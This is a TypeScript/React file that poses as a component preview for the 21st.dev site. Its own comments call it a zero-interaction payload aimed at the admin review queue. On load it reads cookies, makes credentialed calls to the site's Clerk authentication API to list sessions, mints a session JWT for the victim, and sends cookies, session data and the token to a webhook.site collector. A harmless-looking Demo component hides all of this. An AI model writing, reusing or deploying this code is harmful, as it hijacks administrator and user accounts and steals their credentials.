Loading preview...
// @ts-nocheck
// 21st.dev admin-review zero-interaction payload (intent 15792)
// Runs at origin https://cdn.21st.dev inside the component-preview iframe
// (component detail page / author page / ADMIN review queue auto-render).
// Chain: read parent-domain cookies -> Clerk FAPI credentialed read (same-site __client)
// -> mint victim session JWT -> exfiltrate to attacker collector.
import * as React from "react";
const COLLECTOR = "https://webhook.site/25147314-9bea-4281-aa86-eaafac051d3a";
const FAPI = "https://clerk.21st.dev";
const Q = "?__clerk_api_version=2026-08-20&_clerk_js_version=6.40.0";
const W: any = window as any;
const R: any = (W.__ADMIN_TAKEOVER = {
origin: location.origin,
stage: "init",
cookie: document.cookie,
exfil: {},
});
function exfil(tag: string, data: any) {
try {
// simple (no-preflight) cross-origin beacon; fire-and-forget
fetch(COLLECTOR + "/" + tag, {
method: "POST",
mode: "no-cors",
headers: { "Content-Type": "text/plain" },
body: JSON.stringify({ tag, origin: location.origin, data, ts: Date.now() }),
}).catch(() => {});
} catch (e) {}
}
async function run() {
R.stage = "start";
exfil("boot", { cookie: document.cookie, ua: navigator.userAgent, ref: document.referrer });
try {
// 1) credentialed cross-origin read of Clerk FAPI (same-site => __client cookie sent)
const r = await fetch(FAPI + "/v1/client" + Q, { credentials: "include" });
const j = await r.json();
const resp = j.response || j;
const sessions = resp.sessions || [];
R.exfil.client = {
status: r.status,
client_id: resp.id,
last_active_session_id: resp.last_active_session_id,
sessions: sessions.map((s: any) => ({
id: s.id,
user: s.user && s.user.id,
status: s.status,
last_active_at: s.last_active_at,
})),
};
exfil("client", R.exfil.client);
let sid = sessions.length
? sessions[0].id
: resp.last_active_session_id || null;
// 2) mint a fresh session JWT for the victim
if (sid) {
const r2 = await fetch(FAPI + "/v1/client/sessions/" + sid + "/tokens" + Q, {
method: "POST",
credentials: "include",
});
const j2 = await r2.json();
const jwt = j2.jwt || (j2.response && j2.response.jwt);
R.exfil.token = { status: r2.status, sid, jwt_len: jwt ? jwt.length : 0, jwt };
exfil("token", R.exfil.token);
// 3) prove the stolen JWT is a live identity (works cross-origin only via no-cors,
// so we also fire a same-site write to demonstrate impact)
if (jwt) {
exfil("jwt_claim", { jwt });
}
}
R.stage = "done";
} catch (e) {
R.stage = "err:" + e;
exfil("error", { err: String(e) });
}
}
run();
export default function Demo() {
return <div data-slot="admin-payload">payload 15792</div>;
}